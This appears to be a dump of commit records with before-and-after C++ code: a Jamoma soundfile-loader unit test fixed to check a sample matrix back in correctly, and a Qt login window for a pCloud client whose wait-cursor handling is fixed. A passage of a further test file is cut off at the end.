{"text":"<commit_before>\/** @file\n *\n * @ingroup dspSoundFileLib\n *\n * @brief Tests for the #TTSoundfileLoader class\n *\n * @details Tests the core functions of the TTSoundfileLoader class in order to ensure that things are working after a build. It also demostrate how to make calls to common methods within the class.@n \n * IMPORTANT NOTE: Because POSIX filepaths will be specific to your system, this test will attempt to find the path to the SoundfileLib extension using the TTFoundationBinaryPath environment variable. If you wish to test with a different sound file, you will need to place in that extension folder and change the relevant macros in the header of this class.\n *\n * @authors Nathan Wolek\n *\n * @copyright Copyright © 2013 by Nathan Wolek @n\n * This code is licensed under the terms of the \"New BSD License\" @n\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTSoundfileLoader.h\"\n#include \"TTUnitTest.h\"\n#include \"TTBuffer.h\"\n\n\/*\n \n It is possible to change the target sound file for this test using the macros below.\n Both sound files are included in the Jamoma respository at the following path:\n {JAMOMA_ROOT}\/Core\/DSP\/extensions\/SoundfileLib\/\n \n The test should look for the named TESTFILE at this path.\n \n *\/\n\n\/* *\/\n #define TESTFILE \"geese_clip.aif\"\n #define TESTNUMCHANNELS 2\n #define TESTSAMPLERATE 44100\n #define TESTDURATIONINSAMPLES 88202\n #define TESTDURATIONINSECONDS 2.00004535\n #define TESTTITLE \"\"\n #define TESTARTIST \"\"\n #define TESTDATE \"\"\n #define TESTANNOTATION \"\"\n\/* *\/\n\n\/* \n#define TESTFILE \"ding_b2.aiff\"\n#define TESTNUMCHANNELS 1\n#define TESTSAMPLERATE 44100\n#define TESTDURATIONINSAMPLES 39493\n#define TESTDURATIONINSECONDS 0.89553288\n#define TESTTITLE \"\"\n#define TESTARTIST \"\"\n#define TESTDATE \"\"\n#define TESTANNOTATION \"\"\n *\/\n\nTTErr TTSoundfileLoader::test(TTValue& returnedTestInfo)\n{\n    int errorCount = 0;\n    int testAssertionCount = 0;\n    \n    \/\/ assemble the full path of the target sound file\n    \n    TTString testSoundPath = TTFoundationBinaryPath;\n    int pos = testSoundPath.find_last_of('\/');\n    testSoundPath = testSoundPath.substr(0,pos+1);\n    testSoundPath += TESTFILE;\n    \n    std::cout << \"We will be using the following path for testing: \" << testSoundPath << \"\\n\";\n    \n    try {\n        \n\t\tTTTestLog(\"\\n\");\n\t\tTTTestLog(\"Testing TTSoundfileLoader Basics...\");\n\t\t\n        \/\/ TEST 0: establish our objects & pointers\n        TTObject* testTargetMatrix = new TTObject(\"samplematrix\");\n        TTObject* testNonSampleMatrix = new TTObject(\"delay\");\n        TTObjectBase* objectBasePtrToSampleMatrix;\n        TTObjectBase* ptrToNonSampleMatrix;\n        \n        \/\/ TEST 1: set the filepath\n        TTBoolean result1 = { this->setFilePath(TT(testSoundPath)) == kTTErrNone };\n        \n        TTTestAssertion(\"setFilePath operates successfully\",\n                        result1,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ TEST 2: set up the samplematrix first\n        int channelsSend = 1;           \/\/ compiler complained about TTInt32 being ambiguous here\n        int lengthSend = 22050;         \/\/ compiler complained about TTInt32 being ambiguous here\n        testTargetMatrix->set(\"numChannels\", channelsSend);\n        testTargetMatrix->set(\"lengthInSamples\", lengthSend);\n        \n        TTInt32 channelsReturn, lengthReturn;\n        \n        testTargetMatrix->get(\"numChannels\", channelsReturn);\n        testTargetMatrix->get(\"lengthInSamples\", lengthReturn);\n        \n        \/\/ now for the actual test\n        TTBoolean result2a = { channelsSend == channelsReturn };\n        \n        TTTestAssertion(\"numChannels attribute set successfully\",\n\t\t\t\t\t\tresult2a,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        TTBoolean result2b = { lengthSend == lengthReturn };\n        \n        TTTestAssertion(\"lengthInSamples attribute set successfully\",\n\t\t\t\t\t\tresult2b,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \/\/\n        \n        \/\/ TEST 3: set the target via an objectBasePtr\n        objectBasePtrToSampleMatrix = testTargetMatrix->instance(); \/\/ is there a better syntax for this?\n        \n        TTBoolean result3 = { this->setTargetMatrix(objectBasePtrToSampleMatrix) == kTTErrNone };\n        \n        TTTestAssertion(\"setTargetMatrix via ObjectBasePtr operates successfully\",\n\t\t\t\t\t\tresult3,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 4: set the target to a non-SampleMatrix, should FAIL\n        ptrToNonSampleMatrix = testNonSampleMatrix->instance();\n        \n        TTBoolean result4 = { this->setTargetMatrix(ptrToNonSampleMatrix) == kTTErrInvalidValue };\n        \n        TTTestAssertion(\"setTargetMatrix returns error when not a SampleMatrix\",\n\t\t\t\t\t\tresult4,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 5: copy samplevalues until samplematrix is filled\n        \n        TTBoolean result5 = { this->copyUntilFilled() == kTTErrNone };\n        \n        TTTestAssertion(\"copyUntilFilled operates successfully\",\n\t\t\t\t\t\tresult5,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 6: use TTSampleMatrix's load message, then compare 5 random sample values for equivalence\n        \n        \/\/ create a new TTSampleMatrix\n        TTObject newTargetMatrix(\"samplematrix\");\n        \n        \/\/ set the length and channel count\n        newTargetMatrix.set(\"numChannels\", TESTNUMCHANNELS);\n        newTargetMatrix.set(\"lengthInSamples\", TESTDURATIONINSAMPLES);\n        \n        \/\/ prepare necessary TTValues\n        TTValue loadInput6 = TT(testSoundPath); \/\/ we cannot pass the naked TTString, it needs to be part of a TTValue\n        TTValue aReturnWeDontCareAbout6;\n        \n        \/\/ send message\n        TTBoolean result6a = { newTargetMatrix.send(\"load\", loadInput6, aReturnWeDontCareAbout6) == kTTErrNone };\n        \n        TTTestAssertion(\"TTSampleMatrix load operates successfully\",\n                        result6a,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ now let's test some values!\n        int randomIndex6;\n        TTSampleValue randomValueSoundFile6;\n        TTBoolean result6 = true;\n        \n        for (int i = 0; i<5; i++)\n        {\n            randomIndex6 = lengthReturn * TTRandom64();\n            std::cout << \"let's look at index \" << randomIndex6 << \"\\n\";\n            \n            TTValue peekInput6(randomIndex6);\n            peekInput6.append(0);\n            TTValue peekOutput6;\n            \n            this->peek(randomIndex6,0,randomValueSoundFile6);\n            newTargetMatrix.send(\"peek\",peekInput6,peekOutput6);\n            std::cout << \"Does \" << randomValueSoundFile6 << \" = \" << double(peekOutput6) << \" ?\\n\";\n            \n            if (result6) \/\/ allows test to keep variable false once it is false\n                result6 = TTTestFloatEquivalence(randomValueSoundFile6, double(peekOutput6), true, 0.0000001);\n        }\n        \n        TTTestAssertion(\"comparing 5 random values for equivalence\",\n                        result6,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/\n        \n        \/\/ TEST 7: now use TTBuffer's load message, and again compare 5 random sample values for equivalence\n        \n        \/\/ create a new TTBuffer\n        TTObject newTargetBuffer(\"buffer\");\n        \n        \/\/ set the length and channel count\n        newTargetBuffer.set(\"numChannels\", TESTNUMCHANNELS);\n        newTargetBuffer.set(\"lengthInSamples\", TESTDURATIONINSAMPLES);\n        \n        \/\/ create a additional TTBuffer with convenience syntax\n        TTAudioBuffer aBufferByAnyOtherName(TESTNUMCHANNELS, TESTDURATIONINSAMPLES);\n        \n        \/\/ set the length and channel count\n        \/\/aBufferByAnyOtherName.setAttributeValue(\"numChannels\", TESTNUMCHANNELS);\n        \/\/aBufferByAnyOtherName.setAttributeValue(\"lengthInSamples\", TESTDURATIONINSAMPLES);\n        \n        \/\/ prepare necessary TTValues\n        TTValue loadInput7 = TT(testSoundPath); \/\/ we cannot pass the naked TTString, it needs to be part of a TTValue\n        TTValue aSendWeDontCareAbout7, aReturnWeDontCareAbout7;\n        TTValue checkOutValue;\n        \n        \/\/ send message\n        TTBoolean result7a = {  aBufferByAnyOtherName.load(loadInput7) == kTTErrNone    };\n            \/\/newTargetBuffer.send(\"load\", loadInput7, aReturnWeDontCareAbout7) == kTTErrNone };\n        \n        TTTestAssertion(\"TTBuffer load operates successfully\",\n                        result7a,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ check out samplematrix\n        \/\/newTargetBuffer.send(\"checkOutMatrix\",aSendWeDontCareAbout7,checkOutValue);\n        \/\/TTObjectBase* checkedOutMatrix = checkOutValue[0];\n        \n        TTSampleMatrixPtr myMatrix7;\n        aBufferByAnyOtherName.checkOutMatrix(myMatrix7);\n        \n        TTValue testChannel, testSample;\n        myMatrix7->getNumChannels(testChannel);\n        myMatrix7->getLengthInSamples(testSample);\n        \n        std::cout << \"Samplematrix has \" << int(testChannel) << \" channels & \" << int(testSample) << \" samples\\n\";\n        \n        \/\/ now let's test some values!\n        int randomIndex7;\n        double randomValueSoundFile7, randomValueSampleMatrix7, randomValueSampleMatrix7b;\n        TTBoolean result7 = true;\n        \n        for (int i = 0; i<5; i++)\n        {\n            randomIndex7 = lengthReturn * TTRandom64();\n            std::cout << \"let's look at index \" << randomIndex7 << \"\\n\";\n            \n            TTValue peekInput7(randomIndex7);\n            peekInput7.append(0);\n            TTValue peekOutput7;\n            \n            this->peek(randomIndex7,0,randomValueSoundFile7);\n            myMatrix7->peek(randomIndex7,0,randomValueSampleMatrix7b);     \/\/ crashes when you use values\n            myMatrix7->getValueAtIndex(peekInput7,peekOutput7);           \/\/ crashes when you use values\n            myMatrix7->peek(10,0,randomValueSampleMatrix7);                 \/\/ works\n            std::cout << \"Does \" << randomValueSoundFile7 << \" = \" << randomValueSampleMatrix7b << \" ?\\n\";\n            \n            if (result7) \/\/ allows test to keep variable false once it is false\n                result7 = TTTestFloatEquivalence(randomValueSoundFile7, randomValueSampleMatrix7, true, 0.0000001); \/\/ problem happens here\n        }\n        \n        TTTestAssertion(\"comparing 5 random values for equivalence\",\n                        result7,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ check in samplematrix\n        TTBoolean result7c = { newTargetBuffer.send(\"checkInMatrix\",checkOutValue,aReturnWeDontCareAbout7) == kTTErrNone };\n        \n        TTTestAssertion(\"TTBuffer checks in SampleMatrix successfully\",\n                        result7c,\n                        testAssertionCount,\n                        errorCount);\n        \n        \n        \/\/ releasing objects\n        objectBasePtrToSampleMatrix = NULL;\n        ptrToNonSampleMatrix = NULL;\n        delete testTargetMatrix;\n        delete testNonSampleMatrix;\n        \n    } catch (...) {\n        TTTestAssertion(\"FAILED to run tests -- likely that necessary objects did not instantiate\",\n            0,\n            testAssertionCount,\n            errorCount);\n        \n    }\n    \n    return TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n}\n<commit_msg>crash was here -- I was checking in wrong matrix!<commit_after>\/** @file\n *\n * @ingroup dspSoundFileLib\n *\n * @brief Tests for the #TTSoundfileLoader class\n *\n * @details Tests the core functions of the TTSoundfileLoader class in order to ensure that things are working after a build. It also demostrate how to make calls to common methods within the class.@n \n * IMPORTANT NOTE: Because POSIX filepaths will be specific to your system, this test will attempt to find the path to the SoundfileLib extension using the TTFoundationBinaryPath environment variable. If you wish to test with a different sound file, you will need to place in that extension folder and change the relevant macros in the header of this class.\n *\n * @authors Nathan Wolek\n *\n * @copyright Copyright © 2013 by Nathan Wolek @n\n * This code is licensed under the terms of the \"New BSD License\" @n\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTSoundfileLoader.h\"\n#include \"TTUnitTest.h\"\n#include \"TTBuffer.h\"\n\n\/*\n \n It is possible to change the target sound file for this test using the macros below.\n Both sound files are included in the Jamoma respository at the following path:\n {JAMOMA_ROOT}\/Core\/DSP\/extensions\/SoundfileLib\/\n \n The test should look for the named TESTFILE at this path.\n \n *\/\n\n\/* *\/\n #define TESTFILE \"geese_clip.aif\"\n #define TESTNUMCHANNELS 2\n #define TESTSAMPLERATE 44100\n #define TESTDURATIONINSAMPLES 88202\n #define TESTDURATIONINSECONDS 2.00004535\n #define TESTTITLE \"\"\n #define TESTARTIST \"\"\n #define TESTDATE \"\"\n #define TESTANNOTATION \"\"\n\/* *\/\n\n\/* \n#define TESTFILE \"ding_b2.aiff\"\n#define TESTNUMCHANNELS 1\n#define TESTSAMPLERATE 44100\n#define TESTDURATIONINSAMPLES 39493\n#define TESTDURATIONINSECONDS 0.89553288\n#define TESTTITLE \"\"\n#define TESTARTIST \"\"\n#define TESTDATE \"\"\n#define TESTANNOTATION \"\"\n *\/\n\nTTErr TTSoundfileLoader::test(TTValue& returnedTestInfo)\n{\n    int errorCount = 0;\n    int testAssertionCount = 0;\n    \n    \/\/ assemble the full path of the target sound file\n    \n    TTString testSoundPath = TTFoundationBinaryPath;\n    int pos = testSoundPath.find_last_of('\/');\n    testSoundPath = testSoundPath.substr(0,pos+1);\n    testSoundPath += TESTFILE;\n    \n    std::cout << \"We will be using the following path for testing: \" << testSoundPath << \"\\n\";\n    \n    try {\n        \n\t\tTTTestLog(\"\\n\");\n\t\tTTTestLog(\"Testing TTSoundfileLoader Basics...\");\n\t\t\n        \/\/ TEST 0: establish our objects & pointers\n        TTObject* testTargetMatrix = new TTObject(\"samplematrix\");\n        TTObject* testNonSampleMatrix = new TTObject(\"delay\");\n        TTObjectBase* objectBasePtrToSampleMatrix;\n        TTObjectBase* ptrToNonSampleMatrix;\n        \n        \/\/ TEST 1: set the filepath\n        TTBoolean result1 = { this->setFilePath(TT(testSoundPath)) == kTTErrNone };\n        \n        TTTestAssertion(\"setFilePath operates successfully\",\n                        result1,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ TEST 2: set up the samplematrix first\n        int channelsSend = 1;           \/\/ compiler complained about TTInt32 being ambiguous here\n        int lengthSend = 22050;         \/\/ compiler complained about TTInt32 being ambiguous here\n        testTargetMatrix->set(\"numChannels\", channelsSend);\n        testTargetMatrix->set(\"lengthInSamples\", lengthSend);\n        \n        TTInt32 channelsReturn, lengthReturn;\n        \n        testTargetMatrix->get(\"numChannels\", channelsReturn);\n        testTargetMatrix->get(\"lengthInSamples\", lengthReturn);\n        \n        \/\/ now for the actual test\n        TTBoolean result2a = { channelsSend == channelsReturn };\n        \n        TTTestAssertion(\"numChannels attribute set successfully\",\n\t\t\t\t\t\tresult2a,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        TTBoolean result2b = { lengthSend == lengthReturn };\n        \n        TTTestAssertion(\"lengthInSamples attribute set successfully\",\n\t\t\t\t\t\tresult2b,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \/\/\n        \n        \/\/ TEST 3: set the target via an objectBasePtr\n        objectBasePtrToSampleMatrix = testTargetMatrix->instance(); \/\/ is there a better syntax for this?\n        \n        TTBoolean result3 = { this->setTargetMatrix(objectBasePtrToSampleMatrix) == kTTErrNone };\n        \n        TTTestAssertion(\"setTargetMatrix via ObjectBasePtr operates successfully\",\n\t\t\t\t\t\tresult3,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 4: set the target to a non-SampleMatrix, should FAIL\n        ptrToNonSampleMatrix = testNonSampleMatrix->instance();\n        \n        TTBoolean result4 = { this->setTargetMatrix(ptrToNonSampleMatrix) == kTTErrInvalidValue };\n        \n        TTTestAssertion(\"setTargetMatrix returns error when not a SampleMatrix\",\n\t\t\t\t\t\tresult4,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 5: copy samplevalues until samplematrix is filled\n        \n        TTBoolean result5 = { this->copyUntilFilled() == kTTErrNone };\n        \n        TTTestAssertion(\"copyUntilFilled operates successfully\",\n\t\t\t\t\t\tresult5,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 6: use TTSampleMatrix's load message, then compare 5 random sample values for equivalence\n        \n        \/\/ create a new TTSampleMatrix\n        TTObject newTargetMatrix(\"samplematrix\");\n        \n        \/\/ set the length and channel count\n        newTargetMatrix.set(\"numChannels\", TESTNUMCHANNELS);\n        newTargetMatrix.set(\"lengthInSamples\", TESTDURATIONINSAMPLES);\n        \n        \/\/ prepare necessary TTValues\n        TTValue loadInput6 = TT(testSoundPath); \/\/ we cannot pass the naked TTString, it needs to be part of a TTValue\n        TTValue aReturnWeDontCareAbout6;\n        \n        \/\/ send message\n        TTBoolean result6a = { newTargetMatrix.send(\"load\", loadInput6, aReturnWeDontCareAbout6) == kTTErrNone };\n        \n        TTTestAssertion(\"TTSampleMatrix load operates successfully\",\n                        result6a,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ now let's test some values!\n        int randomIndex6;\n        TTSampleValue randomValueSoundFile6;\n        TTBoolean result6 = true;\n        \n        for (int i = 0; i<5; i++)\n        {\n            randomIndex6 = lengthReturn * TTRandom64();\n            std::cout << \"let's look at index \" << randomIndex6 << \"\\n\";\n            \n            TTValue peekInput6(randomIndex6);\n            peekInput6.append(0);\n            TTValue peekOutput6;\n            \n            this->peek(randomIndex6,0,randomValueSoundFile6);\n            newTargetMatrix.send(\"peek\",peekInput6,peekOutput6);\n            std::cout << \"Does \" << randomValueSoundFile6 << \" = \" << double(peekOutput6) << \" ?\\n\";\n            \n            if (result6) \/\/ allows test to keep variable false once it is false\n                result6 = TTTestFloatEquivalence(randomValueSoundFile6, double(peekOutput6), true, 0.0000001);\n        }\n        \n        TTTestAssertion(\"comparing 5 random values for equivalence\",\n                        result6,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/\n        \n        \/\/ TEST 7: now use TTBuffer's load message, and again compare 5 random sample values for equivalence\n        \n        \/\/ create a new TTBuffer\n        TTObject newTargetBuffer(\"buffer\");\n        \n        \/\/ set the length and channel count\n        newTargetBuffer.set(\"numChannels\", TESTNUMCHANNELS);\n        newTargetBuffer.set(\"lengthInSamples\", TESTDURATIONINSAMPLES);\n        \n        \/\/ create a additional TTBuffer with convenience syntax\n        TTAudioBuffer aBufferByAnyOtherName(TESTNUMCHANNELS, TESTDURATIONINSAMPLES);\n        \n        \/\/ set the length and channel count\n        \/\/aBufferByAnyOtherName.setAttributeValue(\"numChannels\", TESTNUMCHANNELS);\n        \/\/aBufferByAnyOtherName.setAttributeValue(\"lengthInSamples\", TESTDURATIONINSAMPLES);\n        \n        \/\/ prepare necessary TTValues\n        TTValue loadInput7 = TT(testSoundPath); \/\/ we cannot pass the naked TTString, it needs to be part of a TTValue\n        TTValue aSendWeDontCareAbout7, aReturnWeDontCareAbout7;\n        TTValue checkOutValue;\n        \n        \/\/ send message\n        TTBoolean result7a = {  aBufferByAnyOtherName.load(loadInput7) == kTTErrNone    };\n            \/\/newTargetBuffer.send(\"load\", loadInput7, aReturnWeDontCareAbout7) == kTTErrNone };\n        \n        TTTestAssertion(\"TTBuffer load operates successfully\",\n                        result7a,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ check out samplematrix\n        \/\/newTargetBuffer.send(\"checkOutMatrix\",aSendWeDontCareAbout7,checkOutValue);\n        \/\/TTObjectBase* checkedOutMatrix = checkOutValue[0];\n        \n        TTSampleMatrixPtr myMatrix7;\n        aBufferByAnyOtherName.checkOutMatrix(myMatrix7);\n        \n        TTValue testChannel, testSample;\n        myMatrix7->getNumChannels(testChannel);\n        myMatrix7->getLengthInSamples(testSample);\n        \n        std::cout << \"Samplematrix has \" << int(testChannel) << \" channels & \" << int(testSample) << \" samples\\n\";\n        \n        \/\/ now let's test some values!\n        int randomIndex7;\n        double randomValueSoundFile7, randomValueSampleMatrix7, randomValueSampleMatrix7b;\n        TTBoolean result7 = true;\n        \n        for (int i = 0; i<5; i++)\n        {\n            randomIndex7 = lengthReturn * TTRandom64();\n            std::cout << \"let's look at index \" << randomIndex7 << \"\\n\";\n            \n            TTValue peekInput7(randomIndex7);\n            peekInput7.append(0);\n            TTValue peekOutput7;\n            \n            this->peek(randomIndex7,0,randomValueSoundFile7);\n            myMatrix7->peek(randomIndex7,0,randomValueSampleMatrix7b);     \/\/ crashes when you use values\n            myMatrix7->getValueAtIndex(peekInput7,peekOutput7);           \/\/ crashes when you use values\n            myMatrix7->peek(10,0,randomValueSampleMatrix7);                 \/\/ works\n            std::cout << \"Does \" << randomValueSoundFile7 << \" = \" << randomValueSampleMatrix7b << \" ?\\n\";\n            \n            if (result7) \/\/ allows test to keep variable false once it is false\n                result7 = TTTestFloatEquivalence(randomValueSoundFile7, randomValueSampleMatrix7, true, 0.0000001); \/\/ problem happens here\n        }\n        \n        TTTestAssertion(\"comparing 5 random values for equivalence\",\n                        result7,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ check in samplematrix\n        TTBoolean result7c = { aBufferByAnyOtherName.checkInMatrix(myMatrix7) == kTTErrNone };\n        \n        TTTestAssertion(\"TTBuffer checks in SampleMatrix successfully\",\n                        result7c,\n                        testAssertionCount,\n                        errorCount);\n        \n        \n        \/\/ releasing objects\n        objectBasePtrToSampleMatrix = NULL;\n        ptrToNonSampleMatrix = NULL;\n        delete testTargetMatrix;\n        delete testNonSampleMatrix;\n        \n    } catch (...) {\n        TTTestAssertion(\"FAILED to run tests -- likely that necessary objects did not instantiate\",\n            0,\n            testAssertionCount,\n            errorCount);\n        \n    }\n    \n    return TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"loginwindow.h\"\n#include \"ui_loginwindow.h\"\n#include \"binapi.h\"\n#include \"pcloudapp.h\"\n#include \"common.h\"\n\nLoginWindow::LoginWindow(PCloudApp *a, QWidget *parent) :\n    QMainWindow(parent),\n    ui(new Ui::LoginWindow)\n{\n    app=a;\n    setWindowIcon(QIcon(WINDOW_ICON));\n    ui->setupUi(this);\n    connect(ui->loginButton, SIGNAL(clicked()), this, SLOT(logIn()));\n\/\/    connect(ui->cancelButton, SIGNAL(clicked()), this, SLOT(hide()));\n    connect(ui->password, SIGNAL(returnPressed()), this, SLOT(logIn()));\n    connect(ui->email, SIGNAL(returnPressed()), this, SLOT(focusPass()));\n    connect(ui->registerButton, SIGNAL(clicked()), app, SLOT(showRegister()));\n}\n\nLoginWindow::~LoginWindow()\n{\n    delete ui;\n}\n\nvoid LoginWindow::closeEvent(QCloseEvent *event)\n{\n    hide();\n    event->ignore();\n}\n\nvoid LoginWindow::focusPass(){\n    ui->password->setFocus();\n}\n\nvoid LoginWindow::setError(const char *err){\n    ui->error->setText(err);\n}\n\nvoid LoginWindow::logIn(){\n    QByteArray email=ui->email->text().toUtf8();\n    QByteArray password=ui->password->text().toUtf8();\n    apisock *conn;\n    binresult *res, *result;\n    QByteArray err;\n    if (!(conn=app->getAPISock())){\n        setError(\"Connection to server failed.\");\n        return;\n    }\n    this->setCursor(Qt::WaitCursor);\n    QApplication::processEvents();\n    res=send_command(conn, \"userinfo\",\n                     P_LSTR(\"username\", email.constData(), email.size()),\n                     P_LSTR(\"password\", password.constData(), password.size()),\n                     P_BOOL(\"getauth\", 1));\n    api_close(conn);\n    result=find_res(res, \"result\");\n    if (!result){\n        setError(\"Connection to server failed.\");\n        free(res);\n        this->setCursor(Qt::ArrowCursor);\n        return;\n    }\n    if (result->num!=0){\n        setError(find_res(res, \"error\")->str);\n        free(res);\n        this->setCursor(Qt::ArrowCursor);\n        return;\n    }\n    if (!app->userLogged(res, err))\n        setError(err);\n    else{\n        setError(\"\");\n        ui->password->clear();\n        hide();\n        app->openCloudDir();\n    }\n    free(res);\n    this->setCursor(Qt::ArrowCursor);\n}\n<commit_msg>Fixed Wait cursor<commit_after>#include \"loginwindow.h\"\n#include \"ui_loginwindow.h\"\n#include \"binapi.h\"\n#include \"pcloudapp.h\"\n#include \"common.h\"\n\nLoginWindow::LoginWindow(PCloudApp *a, QWidget *parent) :\n    QMainWindow(parent),\n    ui(new Ui::LoginWindow)\n{\n    app=a;\n    setWindowIcon(QIcon(WINDOW_ICON));\n    ui->setupUi(this);\n    connect(ui->loginButton, SIGNAL(clicked()), this, SLOT(logIn()));\n\/\/    connect(ui->cancelButton, SIGNAL(clicked()), this, SLOT(hide()));\n    connect(ui->password, SIGNAL(returnPressed()), this, SLOT(logIn()));\n    connect(ui->email, SIGNAL(returnPressed()), this, SLOT(focusPass()));\n    connect(ui->registerButton, SIGNAL(clicked()), app, SLOT(showRegister()));\n}\n\nLoginWindow::~LoginWindow()\n{\n    delete ui;\n}\n\nvoid LoginWindow::closeEvent(QCloseEvent *event)\n{\n    hide();\n    event->ignore();\n}\n\nvoid LoginWindow::focusPass(){\n    ui->password->setFocus();\n}\n\nvoid LoginWindow::setError(const char *err){\n    ui->error->setText(err);\n}\n\nvoid LoginWindow::logIn(){\n    QByteArray email=ui->email->text().toUtf8();\n    QByteArray password=ui->password->text().toUtf8();\n    apisock *conn;\n    binresult *res, *result;\n    QByteArray err;\n    QApplication::setOverrideCursor(Qt::WaitCursor);\n    if (!(conn=app->getAPISock())){\n        setError(\"Connection to server failed.\");\n        QApplication::restoreOverrideCursor();\n        return;\n    }\n    res=send_command(conn, \"userinfo\",\n                     P_LSTR(\"username\", email.constData(), email.size()),\n                     P_LSTR(\"password\", password.constData(), password.size()),\n                     P_BOOL(\"getauth\", 1));\n    api_close(conn);\n    result=find_res(res, \"result\");\n    if (!result){\n        setError(\"Connection to server failed.\");\n        free(res);\n        QApplication::restoreOverrideCursor();\n        return;\n    }\n    if (result->num!=0){\n        setError(find_res(res, \"error\")->str);\n        free(res);\n        QApplication::restoreOverrideCursor();\n        return;\n    }\n    if (!app->userLogged(res, err))\n        setError(err);\n    else{\n        setError(\"\");\n        ui->password->clear();\n        hide();\n        app->openCloudDir();\n    }\n    free(res);\n    QApplication::restoreOverrideCursor();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** @file\n *\n * @ingroup dspSoundFileLib\n *\n * @brief Tests for the #TTSoundfileLoader class\n *\n * @details Tests the core functions of the TTSoundfileLoader class in order to ensure that things are working after a build. It also demostrate how to make calls to common methods within the class.@n \n * IMPORTANT NOTE: Because POSIX filepaths will be specific to your system, it is important to change the TESTFILE definitions in this file to match a local absolute address. The related TEST definitions should also be set to match the attribution of the file which can be obtained via your sound file editor of choice. \n *\n * @authors Nathan Wolek\n *\n * @copyright Copyright © 2013 by Nathan Wolek @n\n * This code is licensed under the terms of the \"New BSD License\" @n\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTSoundfileLoader.h\"\n#include \"TTUnitTest.h\"\n\n\/* \n #define TESTFILE \"\/Users\/nathanwolek\/Desktop\/geese_clip.aif\"\n #define TESTNUMCHANNELS 2\n #define TESTSAMPLERATE 44100\n #define TESTDURATIONINSAMPLES 88202\n #define TESTDURATIONINSECONDS 2.00004535\n #define TESTTITLE \"\"\n #define TESTARTIST \"\"\n #define TESTDATE \"\"\n #define TESTANNOTATION \"\"\n *\/\n\n\/* *\/\n #define TESTFILE \"\/Volumes\/Storage\/Audio\/200604femf15\/pitched\/ding_b2.aiff\"\n#define TESTNUMCHANNELS 1\n#define TESTSAMPLERATE 44100\n#define TESTDURATIONINSAMPLES 39493\n#define TESTDURATIONINSECONDS 0.89553288\n#define TESTTITLE \"\"\n#define TESTARTIST \"\"\n#define TESTDATE \"\"\n#define TESTANNOTATION \"\"\n\/* *\/\n\n\/*\n #define TESTFILE \"\/Volumes\/Storage\/Audio\/200604femf15\/ambience\/street.aiff\"\n #define TESTNUMCHANNELS 1\n #define TESTSAMPLERATE 44100\n #define TESTDURATIONINSAMPLES 4750848\n #define TESTDURATIONINSECONDS 107.728980\n #define TESTTITLE \"UF Street\"\n #define TESTARTIST \"MPG\"\n #define TESTDATE \"2006\"\n #define TESTANNOTATION \"\"\n *\/\n\nTTErr TTSoundfileLoader::test(TTValue& returnedTestInfo)\n{\n    int errorCount = 0;\n    int testAssertionCount = 0;\n    \n    {\n        \n        \n\t\tTTTestLog(\"\\n\");\n\t\tTTTestLog(\"Testing TTSoundfileLoader Basics...\");\n\t\t\n\t\tTTSoundfileLoaderPtr testSoundfileLoader = NULL;\n        TTSampleMatrixPtr testTargetMatrix = NULL;\n        TTErr err;\n\t\t\n        \/\/ TEST 0: instantiate the object to a pointer\n        TTBoolean result0 = { TTObjectBaseInstantiate(\"soundfile.loader\", (TTObjectBasePtr*)&testSoundfileLoader, kTTValNONE) == kTTErrNone};\n        \n\t\tTTTestAssertion(\"instantiates successfully\",\n\t\t\t\t\t\tresult0,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 1: set the filepath\n        TTBoolean result1 = { testSoundfileLoader->setFilePath(TT(TESTFILE)) == kTTErrNone };\n        \n        TTTestAssertion(\"setFilePath operates successfully\",\n                        result1,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ TEST 2: instantiate a TTSampleMatrix and set is as the target\n        TTBoolean result2 = { TTObjectBaseInstantiate(\"samplematrix\", (TTObjectBasePtr*)&testTargetMatrix, kTTValNONE) == kTTErrNone};\n        \n        \/\/ set up the samplematrix\n        testTargetMatrix->setAttributeValue(\"numChannels\", 1);\n        testTargetMatrix->setAttributeValue(\"lengthInSeconds\", 0.5);\n        \n        TTInt32 lengthReturn, channelsReturn;\n        \n        testTargetMatrix->getAttributeValue(\"numChannels\", channelsReturn);\n        testTargetMatrix->getAttributeValue(\"lengthInSamples\", lengthReturn);\n        \n        TTTestLog(\"samplematrix now has %i samples and %i channels\", lengthReturn, channelsReturn);\n        \n        TTBoolean result2b = { testSoundfileLoader->setTargetMatrix(testTargetMatrix) == kTTErrNone };\n        \n        TTTestAssertion(\"setTargetMatrix operates 